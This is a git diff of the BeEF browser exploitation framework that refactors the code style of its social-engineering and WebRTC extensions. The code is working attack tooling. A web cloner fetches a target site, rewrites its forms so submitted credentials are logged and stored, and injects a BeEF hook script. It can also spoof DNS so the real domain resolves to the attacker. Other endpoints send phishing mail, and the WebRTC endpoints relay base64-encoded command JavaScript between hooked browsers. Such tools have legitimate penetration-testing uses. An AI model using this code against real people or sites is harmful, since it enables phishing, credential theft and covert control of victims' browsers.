body['recipients'][0] recipients.each do |email, name| if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil? @@ -116,20 +114,19 @@ module BeEF halt 401 end end - rescue => e - print_error "Invalid JSON input passed to endpoint /api/seng/send_emails" + rescue StandardError + print_error 'Invalid JSON input passed to endpoint /api/seng/send_emails' error 400 end begin mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients) - rescue => e - print_error "Invalid mailer configuration" + rescue StandardError => e + print_error "Mailer send_email failed: #{e.message}" error 400 end end - end end end diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index dfc9c41d8..04e9bea6d 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -8,44 +8,42 @@ module BeEF module SocialEngineering require 'sinatra/base' class Interceptor < Sinatra::Base - - configure do + configure do set :show_exceptions, false - end - - # intercept GET - get "/" do - print_info "GET request from IP #{request.ip}" - print_info "Referer: #{request.referer}" - cloned_page = settings.cloned_page - cloned_page - end - - # intercept POST - post "/" do - print_info "POST request from IP #{request.ip}" - request.body.rewind - data = request.body.read - print_info "Intercepted data:" - print_info data - - interceptor_db = BeEF::Core::Models::Interceptor.new( - :webcloner_id => settings.db_entry.id, - :post_data => data, - :ip => request.ip - ) - interceptor_db.save - - if settings.frameable - print_info "Page can be framed :-) Loading original URL into iFrame..." - "\n" - else - print_info "Page can not be framed :-) Redirecting to original URL..." - redirect settings.redirect_to end - end + + # intercept GET + get '/' do + print_info "GET request from IP #{request.ip}" + print_info "Referer: #{request.referer}" + cloned_page = settings.cloned_page + cloned_page + end + + # intercept POST + post '/' do + print_info "POST request from IP #{request.ip}" + request.body.rewind + data = request.body.read + print_info 'Intercepted data:' + print_info data + + interceptor_db = BeEF::Core::Models::Interceptor.new( + webcloner_id: settings.db_entry.id, + post_data: data, + ip: request.ip + ) + interceptor_db.save + + if settings.frameable + print_info 'Page can be framed :-) Loading original URL into iFrame...' + "\n" + else + print_info 'Page can not be framed :-) Redirecting to original URL...' + redirect settings.redirect_to + end + end end end end end - diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index d9657ae23..a0af2edb7 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -13,8 +13,8 @@ module BeEF def initialize @http_server = BeEF::Core::Server.instance @config = BeEF::Core::Configuration.instance - @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/" - @beef_hook = "#{@config.hook_url}" + @cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/" + @beef_hook = @config.hook_url.to_s end def clone_page(url, mount, use_existing, dns_spoof) @@ -35,33 +35,31 @@ module BeEF # 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file # if use_existing.nil? || use_existing == false - begin #,"--background" - cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3'] - if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl') - cmd << "--no-check-certificate" - end + begin + cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3'] + cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl') print_debug "Running command: #{cmd.join(' ')}" IO.popen(cmd, 'r+') do |wget_io| end success = true - rescue Errno::ENOENT => e + rescue Errno::ENOENT print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." - rescue => e + rescue StandardError => e print_error "Errors executing wget: #{e}" end if success - File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| - File.open("#{@cloned_pages_dir + output}", 'r').each do |line| + File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file| + File.open((@cloned_pages_dir + output).to_s, 'r').each do |line| # Modify the
line changing the action URI to / in order to be properly intercepted by BeEF - if line.include?("") || line.include?("")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + elsif (line.include?('') || line.include?('')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') out_file.print add_beef_hook(line) - print_info "BeEF hook added :-D" + print_info 'BeEF hook added :-D' else out_file.print line end @@ -95,104 +93,103 @@ module BeEF end end - if File.size("#{@cloned_pages_dir + output}") > 0 - print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" - - file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - - # if the user wants to clone http://a.com/login.jsp?cas=true&ciccio=false , split the URL mounting only the path. - # then the phishing link can be used anyway with all the proper parameters to looks legit. - if mount.include?("?") - mount = mount.split("?").first - print_info "Normalizing mount point. You can still use params for the phishing link." - end - - # Check if the original URL can be framed - frameable = is_frameable(url) - - interceptor = BeEF::Extension::SocialEngineering::Interceptor - interceptor.set :redirect_to, url - interceptor.set :frameable, frameable - interceptor.set :beef_hook, @beef_hook - interceptor.set :cloned_page, get_page_content(file_path) - interceptor.set :db_entry, persist_page(url, mount) - - # Add a DNS record spoofing the address of the cloned webpage as the BeEF server - if dns_spoof - dns = BeEF::Extension::Dns::Server.instance - ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address - ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address - ipv6.gsub!(/%\w*$/, '') - domain = url.gsub(%r{^http://}, '') - - dns.add_rule( - :pattern => domain, - :resource => Resolv::DNS::Resource::IN::A, - :response => ipv4 - ) unless ipv4.nil? - - dns.add_rule( - :pattern => domain, - :resource => Resolv::DNS::Resource::IN::AAAA, - :response => ipv6 - ) unless ipv6.nil? - - print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]" - end - - print_info "Mounting cloned page on URL [#{mount}]" - @http_server.mount("#{mount}", interceptor.new) - @http_server.remap - - success = true - else + if File.size((@cloned_pages_dir + output).to_s).zero? print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." - success = false + return false end - success + print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" + + file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve + + # Split the URL mounting only the path and ignoring the query string. + # If the user wants to clone http://example.local/login.jsp?example=123&test=456 + # then the phishing link can be used anyway with all the proper parameters to look legit. + mount = mount.split('?').first if mount.include?('?') + mount = mount.split(';').first if mount.include?(';') + + interceptor = BeEF::Extension::SocialEngineering::Interceptor + interceptor.set :redirect_to, url + interceptor.set :frameable, url_is_frameable?(url) + interceptor.set :beef_hook, @beef_hook + interceptor.set :cloned_page, get_page_content(file_path) + interceptor.set :db_entry, persist_page(url, mount) + + # Add a DNS record spoofing the address of the cloned webpage as the BeEF server + if dns_spoof + dns = BeEF::Extension::Dns::Server.instance + ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address + ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address + ipv6.gsub!(/%\w*$/, '') + domain = url.gsub(%r{^http://}, '') + + unless ipv4.nil? + dns.add_rule( + pattern: domain, + resource: Resolv::DNS::Resource::IN::A, + response: ipv4 + ) + end + + unless ipv6.nil? + dns.add_rule( + pattern: domain, + resource: Resolv::DNS::Resource::IN::AAAA, + response: ipv6 + ) + end + + print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]" + end + + print_info "Mounting cloned page on URL [#{mount}]" + @http_server.mount(mount.to_s, interceptor.new) + @http_server.remap + + true end private + # Replace with def add_beef_hook(line) - if line.include?("") - line.gsub!("", "\n") - elsif line.gsub!("", "\n") + # @todo why is this an inline replace? and why is the second branch empty? + if line.include?('') + line.gsub!('', "\n") + elsif line.gsub!('', "\n") end line end - private - # check if the original URL can be framed. NOTE: doesn't check for framebusting code atm - def is_frameable(url) - result = true - begin - uri = URI(url) - http = Net::HTTP.new(uri.host, uri.port) - if uri.scheme == "https" - http.use_ssl = true - if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl') - http.verify_mode = OpenSSL::SSL::VERIFY_NONE - end - end - request = Net::HTTP::Get.new(uri.request_uri) - response = http.request(request) - frame_opt = response["X-Frame-Options"] + # Check if the URL X-Frame-Options header allows the page to be framed. + # @todo check for framebusting JS code + # @todo check CSP + def url_is_frameable?(url) + uri = URI(url) + http = Net::HTTP.new(uri.host, uri.port) - if frame_opt != nil - if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0 - result = false - end - end - print_info "Page can be framed: [#{result}]" - rescue => e - result = false - print_error "Unable to determine if page can be framed. Page can be framed: [#{result}]" - print_debug e - #print_debug e.backtrace + if uri.scheme == 'https' + http.use_ssl = true + http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl') end - result + + request = Net::HTTP::Get.new(uri.request_uri) + response = http.request(request) + frame_opt = response['X-Frame-Options'] + + # @todo why is this using casecmp? + if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0) + print_info "URL can be framed: #{url}" + return true + end + + print_info "URL cannot be framed: #{url}" + false + rescue StandardError => e + print_error "Unable to determine if URL can be framed: #{url}" + print_debug e + # print_debug e.backtrace + false end def get_page_content(file_path) @@ -204,15 +201,13 @@ module BeEF def persist_page(uri, mount) webcloner_db = BeEF::Core::Models::WebCloner.new( - :uri => uri, - :mount => mount + uri: uri, + mount: mount ) webcloner_db.save webcloner_db end - end end end end - diff --git a/extensions/webrtc/rest/webrtc.rb b/extensions/webrtc/rest/webrtc.rb index 7908078b8..a7344bbeb 100644 --- a/extensions/webrtc/rest/webrtc.rb +++ b/extensions/webrtc/rest/webrtc.rb @@ -6,13 +6,11 @@ module BeEF module Extension module WebRTC - require 'base64' # This class handles the routing of RESTful API requests that manage the # WebRTC Extension class WebRTCRest < BeEF::Core::Router::Router - # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance @@ -41,119 +39,116 @@ module BeEF # longer required as client-debugging uses the beef.debug) # # +++ Example: +++ - #POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 + # POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 # - #{"from":1, "to":2} + # {"from":1, "to":2} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"success":"true"} + # {"success":"true"} # # +++ Example with verbosity on the client-side +++ - #POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 + # POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 # - #{"from":1, "to":2, "verbose": true} + # {"from":1, "to":2, "verbose": true} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"success":"true"} + # {"success":"true"} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X POST -d '{"from":1,"to":2,"verbose":true}' # http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348 post '/go' do - begin - body = JSON.parse(request.body.read) + body = JSON.parse(request.body.read) - fromhb = body['from'] - raise InvalidParamError, 'from' if fromhb.nil? - tohb = body['to'] - raise InvalidParamError, 'to' if tohb.nil? - verbose = body['verbose'] + fromhb = body['from'] + raise InvalidParamError, 'from' if fromhb.nil? - result = {} + tohb = body['to'] + raise InvalidParamError, 'to' if tohb.nil? - unless [fromhb,tohb].include?(nil) - if verbose == nil - BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i) - result['success'] = true - else - if verbose.to_s =~ (/^(true|t|yes|y|1)$/i) - BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true) - result['success'] = true - else - BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i) - result['success'] = true - end - end - r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i, - :target_hooked_browser_id => tohb.to_i, - :status => "Initiating..", - :created_at => Time.now, - :updated_at => Time.now) - r.save - r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i, - :target_hooked_browser_id => fromhb.to_i, - :status => "Initiating..", - :created_at => Time.now, - :updated_at => Time.now) - r2.save - else - result['success'] = false - end + verbose = body['verbose'] - result.to_json + result = {} - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})" - halt 500 + if [fromhb, tohb].include?(nil) + result['success'] = false + return result.to_json end + + if verbose.to_s =~ (/^(true|t|yes|y|1)$/i) + BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i, true) + else + BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i) + end + + r = BeEF::Core::Models::Rtcstatus.new( + hooked_browser_id: fromhb.to_i, + target_hooked_browser_id: tohb.to_i, + status: 'Initiating..', + created_at: Time.now, + updated_at: Time.now + ) + + r.save + r2 = BeEF::Core::Models::Rtcstatus.new( + hooked_browser_id: tohb.to_i, + target_hooked_browser_id: fromhb.to_i, + status: 'Initiating..', + created_at: Time.now, + updated_at: Time.now + ) + r2.save + + result['success'] = true + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})" + halt 500 end # # @note Get the RTCstatus of a particular browser (and its peers) - # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log + # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true # # +++ Example: +++ - #GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 + # GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 # #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"success":"true"} + # {"success":"true"} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 get '/status/:id' do - begin - id = params[:id] + id = params[:id] - BeEF::Core::Models::Rtcmanage.status(id.to_i) - result = {} - result['success'] = true - result.to_json - - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while queuing status message for #{id} (#{e.message})" - halt 500 - end + BeEF::Core::Models::Rtcmanage.status(id.to_i) + result = {} + result['success'] = true + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while queuing status message for #{id} (#{e.message})" + halt 500 end # @@ -161,49 +156,48 @@ module BeEF # Return JSON with events_count and an array of events # # +++ Example: +++ - #GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 + # GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 # #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]} + # {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 get '/events/:id' do - begin - id = params[:id] + id = params[:id] - events = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => id) + events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id) - events_json = [] - count = events.length + events_json = [] + count = events.length - events.each do |event| - events_json << { - 'id' => event.id.to_i, - 'hb_id' => event.hooked_browser_id.to_i, - 'target_id' => event.target_hooked_browser_id.to_i, - 'status' => event.status.to_s, - 'created_at' => event.created_at.to_s, - 'updated_at' => event.updated_at.to_s - } - end + events.each do |event| + events_json << { + 'id' => event.id.to_i, + 'hb_id' => event.hooked_browser_id.to_i, + 'target_id' => event.target_hooked_browser_id.to_i, + 'status' => event.status.to_s, + 'created_at' => event.created_at.to_s, + 'updated_at' => event.updated_at.to_s + } + end + unless events_json.empty? { 'events_count' => count, 'events' => events_json - }.to_json if not events_json.empty? - - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while queuing status message for #{id} (#{e.message})" - halt 500 + }.to_json end + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while queuing status message for #{id} (#{e.message})" + halt 500 end # @@ -211,70 +205,69 @@ module BeEF # Return JSON with events_count and an array of events associated with command module execute # # +++ Example: +++ - #GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 + # GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 # #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]} + # {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 get '/cmdevents/:id' do - begin - id = params[:id] + id = params[:id] - events = BeEF::Core::Models::Rtcmodulestatus.where(:hooked_browser_id => id) + events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id) - events_json = [] - count = events.length + events_json = [] + count = events.length - events.each do |event| - events_json << { - 'id' => event.id.to_i, - 'hb_id' => event.hooked_browser_id.to_i, - 'target_id' => event.target_hooked_browser_id.to_i, - 'status' => event.status.to_s, - 'created_at' => event.created_at.to_s, - 'updated_at' => event.updated_at.to_s, - 'mod' => event.command_module_id - } - end + events.each do |event| + events_json << { + 'id' => event.id.to_i, + 'hb_id' => event.hooked_browser_id.to_i, + 'target_id' => event.target_hooked_browser_id.to_i, + 'status' => event.status.to_s, + 'created_at' => event.created_at.to_s, + 'updated_at' => event.updated_at.to_s, + 'mod' => event.command_module_id + } + end + unless events_json.empty? { 'events_count' => count, 'events' => events_json - }.to_json if not events_json.empty? - - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while queuing status message for #{id} (#{e.message})" - halt 500 + }.to_json end + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while queuing status message for #{id} (#{e.message})" + halt 500 end # # @note Instruct a browser to send an RTC DataChannel message to one of its peers - # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log - # for success messages, IF ANY. + # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log + # for success messages, IF ANY. # # Input must be specified in JSON format # # +++ Example: +++ - #POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 + # POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 # - #{"from":1, "to":2, "message":"Just a plain message"} + # {"from":1, "to":2, "message":"Just a plain message"} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"success":"true"} + # {"success":"true"} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v @@ -289,74 +282,71 @@ module BeEF # If the is stealthed, it'll bounce the message back. # If the is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler post '/msg' do - begin + body = JSON.parse(request.body.read) - body = JSON.parse(request.body.read) + fromhb = body['from'] + raise InvalidParamError, 'from' if fromhb.nil? - fromhb = body['from'] - raise InvalidParamError, 'from' if fromhb.nil? - tohb = body['to'] - raise InvalidParamError, 'to' if tohb.nil? - message = body['message'] - raise InvalidParamError, 'message' if message.nil? + tohb = body['to'] + raise InvalidParamError, 'to' if tohb.nil? - if message === "!gostealth" - stat = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i).first || nil - unless stat.nil? - stat.status = "Selected browser has commanded peer to enter stealth" - stat.updated_at = Time.now - stat.save - end - stat2 = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i).first || nil - unless stat2.nil? - stat2.status = "Peer has commanded selected browser to enter stealth" - stat2.updated_at = Time.now - stat2.save - end + message = body['message'] + raise InvalidParamError, 'message' if message.nil? + + if message === '!gostealth' + stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil + unless stat.nil? + stat.status = 'Selected browser has commanded peer to enter stealth' + stat.updated_at = Time.now + stat.save end - - result = {} - - unless [fromhb,tohb,message].include?(nil) - BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message) - result['success'] = true - else - result['success'] = false + stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil + unless stat2.nil? + stat2.status = 'Peer has commanded selected browser to enter stealth' + stat2.updated_at = Time.now + stat2.save end - - result.to_json - - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while queuing message (#{e.message})" - halt 500 end + result = {} + + if [fromhb, tohb, message].include?(nil) + result['success'] = false + else + BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message) + result['success'] = true + end + + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while queuing message (#{e.message})" + halt 500 end # # @note Instruct a browser to send an RTC DataChannel message to one of its peers # In this instance, the message is a Base64d encoded JS command # which has the beef.net.send statements re-written - # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log - # for success messages, IF ANY. + # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log + # for success messages, IF ANY. # Commands are written back to the rtcmodulestatus model # # Input must be specified in JSON format # # +++ Example: +++ - #POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 + # POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 # - #{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]} + # {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"success":"true"} + # {"success":"true"} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v @@ -364,137 +354,124 @@ module BeEF # http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348 # post '/cmdexec' do - begin - body = JSON.parse(request.body.read) - fromhb = body['from'] - raise InvalidParamError, 'from' if fromhb.nil? - tohb = body['to'] - raise InvalidParamError, 'to' if tohb.nil? - cmdid = body['cmdid'] - raise InvalidParamError, 'cmdid' if cmdid.nil? + body = JSON.parse(request.body.read) + fromhb = body['from'] + raise InvalidParamError, 'from' if fromhb.nil? - cmdoptions = body['options'] if body['options'] - cmdoptions = nil if cmdoptions.eql?("") + tohb = body['to'] + raise InvalidParamError, 'to' if tohb.nil? + cmdid = body['cmdid'] + raise InvalidParamError, 'cmdid' if cmdid.nil? + + cmdoptions = body['options'] if body['options'] + cmdoptions = nil if cmdoptions.eql?('') + + if [fromhb, tohb, cmdid].include?(nil) result = {} - - unless [fromhb,tohb,cmdid].include?(nil) - # Find the module, modify it, send it to be executed on the tohb - - # Validate the command module by ID - command_module = BeEF::Core::Models::CommandModule.find(cmdid) - error 404 if command_module.nil? - error 404 if command_module.path.nil? - - # Get the key of the module based on the ID - key = BeEF::Module.get_key_by_database_id(cmdid) - error 404 if key.nil? - - # Try to load the module - BeEF::Module.hard_load(key) - - # Now the module is hard loaded, find it's object and get it - command_module = BeEF::Core::Command.const_get( - BeEF::Core::Configuration.instance.get( - "beef.module.#{key}.class" - ) - ).new(key) - - # Check for command options - if not cmdoptions.nil? - cmddata = cmdoptions - else - cmddata = [] - end - - # Get path of source JS - f = command_module.path+'command.js' - error 404 if not File.exists? f - - # Read file - @eruby = Erubis::FastEruby.new(File.read(f)) - - # Parse in the supplied parameters - cc = BeEF::Core::CommandContext.new - cc['command_url'] = command_module.default_command_url - cc['command_id'] = command_module.command_id - cmddata.each{|v| - cc[v['name']] = v['value'] - } - # Evalute supplied options - @output = @eruby.evaluate(cc) - - # Gsub the output, replacing all beef.net.send commands - # This needs to occur because we want this JS to send messages - # back to the peer browser - @output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s| - tmpout = "// beef.net.send removed\n" - tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd (" - cmdurl = $1.split(',') - tmpout += cmdurl[0].gsub(/\s|"|'/, '') - tmpout += ") Result: ' + " - tmpout += cmdurl[2] - tmpout += ");" - tmpout - } - - # Prepend the B64 version of the string with @ - # The client JS receives the rtc message, detects the @ - # and knows to decode it before execution - msg = "@" + Base64.strict_encode64(@output) - - # Finally queue the message in the RTC queue for submission - # from the from browser to the to browser - BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, - msg) - - result = {} - result['success'] = true - result.to_json - else - result = {} - result['success'] = false - result.to_json - end - rescue JSON::ParserError => e - print_error "Invalid JSON: #{e.message}" - halt 400 - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while executing command (#{e.message})" - halt 500 + result['success'] = false + return result.to_json end - end + # Find the module, modify it, send it to be executed on the tohb + + # Validate the command module by ID + command_module = BeEF::Core::Models::CommandModule.find(cmdid) + error 404 if command_module.nil? + error 404 if command_module.path.nil? + + # Get the key of the module based on the ID + key = BeEF::Module.get_key_by_database_id(cmdid) + error 404 if key.nil? + + # Try to load the module + BeEF::Module.hard_load(key) + + # Now the module is hard loaded, find it's object and get it + command_module = BeEF::Core::Command.const_get( + BeEF::Core::Configuration.instance.get( + "beef.module.#{key}.class" + ) + ).new(key) + + # Check for command options + cmddata = cmdoptions.nil? ? [] : cmdoptions + + # Get path of source JS + f = "#{command_module.path}command.js" + error 404 unless File.exist? f + + # Read file + @eruby = Erubis::FastEruby.new(File.read(f)) + + # Parse in the supplied parameters + cc = BeEF::Core::CommandContext.new + cc['command_url'] = command_module.default_command_url + cc['command_id'] = command_module.command_id + cmddata.each do |v| + cc[v['name']] = v['value'] + end + + # Evalute supplied options + @output = @eruby.evaluate(cc) + + # Gsub the output, replacing all beef.net.send commands + # This needs to occur because we want this JS to send messages + # back to the peer browser + @output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s| + tmpout = "// beef.net.send removed\n" + tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd (" + cmdurl = Regexp.last_match(1).split(',') + tmpout += cmdurl[0].gsub(/\s|"|'/, '') + tmpout += ") Result: ' + " + tmpout += cmdurl[2] + tmpout += ');' + tmpout + end + + # Prepend the B64 version of the string with @ + # The client JS receives the rtc message, detects the @ + # and knows to decode it before execution + msg = "@#{Base64.strict_encode64(@output)}" + + # Finally queue the message in the RTC queue for submission + # from the from browser to the to browser + BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, msg) + + result = {} + result['success'] = true + result.to_json + rescue JSON::ParserError => e + print_error "Invalid JSON: #{e.message}" + halt 400 + 